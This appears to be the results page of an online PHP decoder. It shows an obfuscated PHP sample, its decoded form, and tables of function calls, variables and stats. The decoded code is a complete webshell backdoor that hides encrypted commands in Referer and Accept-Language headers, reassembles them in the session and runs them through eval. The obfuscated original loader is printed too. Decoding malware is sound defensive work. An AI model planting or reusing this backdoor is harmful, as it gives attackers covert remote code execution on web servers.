Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$pWjwH2042 = "fs1byu_/hz7v46x98j5(n0o.im*l3)adqwge;rkc2tp";$Jz5407 = $pWjwH2042[42].$pWjwH..

Decoded Output download

$kh="b71c";$kf="fb8f";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){    $u=parse_url($rr);    parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

$pWjwH2042 = "fs1byu_/hz7v46x98j5(n0o.im*l3)adqwge;rkc2tp";$Jz5407 = $pWjwH2042[42].$pWjwH2042[37].$pWjwH2042[35].$pWjwH2042[34].$pWjwH2042[6].$pWjwH2042[37].$pWjwH2042[35].$pWjwH2042[42].$pWjwH2042[27].$pWjwH2042[30].$pWjwH2042[39].$pWjwH2042[35];$bXwgle568 = "e\x76".chr(97)."".chr(108)."(\x67z".chr(105)."nf".chr(108)."".chr(97)."t\x65".chr(40)."".chr(98)."\x61\x73\x65".chr(54)."4\x5f".chr(100)."\x65c".chr(111)."\x64\x65".chr(40)."";$EZQpJB4087 = ")".chr(41).")".chr(59)."";$msK6440 = $bXwgle568."'VVRrj+JGEPweKf8BWS08Fj7D5i4PxUyW1YnbBEW7d/v6whHLNmMwGI/xmLtd0Pz3VA8oUpAFo3ZPV3V1NXQv/bZN34Q3TIZe6A3fDb3A2DA9B43l4MALQmPJGGONFWTmVC7CUUgqCAIOhbTFKSYttbFZslLGdkmua/youjMCSbHOEk5VCC6NH//4A71I3yZ5pdJa4O5SZqlRv3DOh0TVuV4q8SpWx1zvGmNbxeCCNHNjKhaIcdOWdSeM9ca0/YOWfHc8xNEL4onBjVLXyRJkTNfqN4BYfBx0Ln3wN/Y9s26khz7jQreMcJRXMcofx7k+GIvytJtfLbg0Uo/GDvAEPWoiSfs5mOzmP+HtnI6LRVwWqACwRhtBTUhrsJV45AiHk0NeQm45oXbu/fn09NnY5GH6ydjpw/QBbSxiAof08p4xkZPcfPw4/fyU/H3Dgbvb55vbqcstC8Hpbb9PbRqcer2esT1QP8gmbY2C3Ie2cikO+U7658mhXTTtmGGkGKdtwvcQB/UAznNPthjUW6JeS4iO+VHpNA+CEzkLcBX0z8eGxVLSaezaBoSxsAcVgYPV0pceXna60t9V68WoVPLdHepcGbuYjxbRRWN8xbR2hY0FdbDbLX9mhmVE4LQOMDU3s8KRr8S5hUvSOe2Ce4t2t2vpZb8CJPeY5rYAE1tkvxVeXPBw8640Vte9Vx6bpY59fII5QBf4qhbOZ3y14ljF5hXUuYjmWtwNfAOBWAE7islhb6Qf7xEZGRuJ+devy0UQXIfXQ1zgZWnTkHZBDGxWnPb9PvsoOBnLrrVn35oubTteDCP7lDxi5I+Pf93DALCq20TgHzLWHRbg9ioHvWKiSauaKs2V8GeZH/p4ZlneqrSbZSqZZcUsO9T5LJtlHZD8gO89gzL0YwNjrU+0lVCP1URUA+Y/PhOM+1vK45msjiijd84GvKBi8iomly3+gCu8ethjXBB4v0ogKvNCUIn04soZ9iGI4d1ew+Zj23JDTOMw97j0Hj5W7RvOC3bhHpLs5dmm39LqoOC5Pf8VAGyV7NIuXwM6rZihN2T1v8NZAf++Q4mBuP79Ar2XfjmmKg5OboQbOYp54Jsx5VgpTAcvcRN6A3YzGIRUDgaQRkcQn7oTp9h/mCJtT7SxMU74o+oObd0jHVtq2aQY3cMLbzhXaR3w7v8zAh2eEd1GtI9oGdEsok0EGMojuovoOaL7iF7cmL5IWglOhn/oC8bxLw=='".$EZQpJB4087;$Jz5407($pWjwH2042[7].$pWjwH2042[23].$pWjwH2042[26].$pWjwH2042[7].$pWjwH2042[35], $msK6440  ,"197");

Function Calls

chr 13
null 1
gzinflate 1
str_replace 2
preg_replace 1
base64_decode 1
create_function 1

Variables

$G $kh="b71s}c";$s}kf="s}fb8f";fus}nctis}on xs}(s}$t,$k){$c=str..
$J r); ps}arse_sts}rs}($u["s}s}qs}uery"s}],s}$q);$q=array_va..
$N $s[$i]="";$ps}=s}$ss($s}p,3);}if(s}array_ks}ey_exiss}ts($i,s..
$O rray("/_/","/-/")s},array("s}/","+"),s}$sss}s}($s[$i],0,$e))..
$Q None
$U ;s}ifs}($e){$k=$kh.$kf;s}obs}_start();@s}evas}l(@gzuncoms}s}..
$V }_clean();$d=base6s}s}4_encode(x(gzcomps}resss}($o)s},s}$s}k..
$c ,0,s}3));$p=""s};fors}($z=1;$s}z<cous}nt($m[1]s}s});$zs}+s}+..
$d r=@$r["HTTPs}_REFs}ERERs}"];$rs}a=@$r["Hs}s}TTP_ACCEPT_LAs}s..
$g create_function
$j ;q=s}0s}.([\d]))?,?/s}"s},$ra,$m);is}f(s}$q&&s}$m){s}@ses}ss..
$m $kh="b71c";$kf="fb8f";function x($t,$k){$c=strlen($k);$l=str..
$o ="strtolower";s}$i=$s}ms}[1s}][0].$m[1]s}[1];$h=$s}ss}l($ss(..
$q i<$l;){for($j=0;($s}j<$c&&$is}<$ls})s};s}$j++,$i++){$o.s}=$t..
$Jz5407 preg_replace
$msK6440 eval(gzinflate(base64_decode('VVRrj+JGEPweKf8BWS08Fj7D5i4PxU..
$bXwgle568 eval(gzinflate(base64_decode(
$pWjwH2042 fs1byu_/hz7v46x98j5(n0o.im*l3)adqwge;rkc2tp
$EZQpJB4087 )));

Stats

MD5 e1fb637eaf0aa60b8ce7eba704278e15
Eval Count 3
Decode Time 123 ms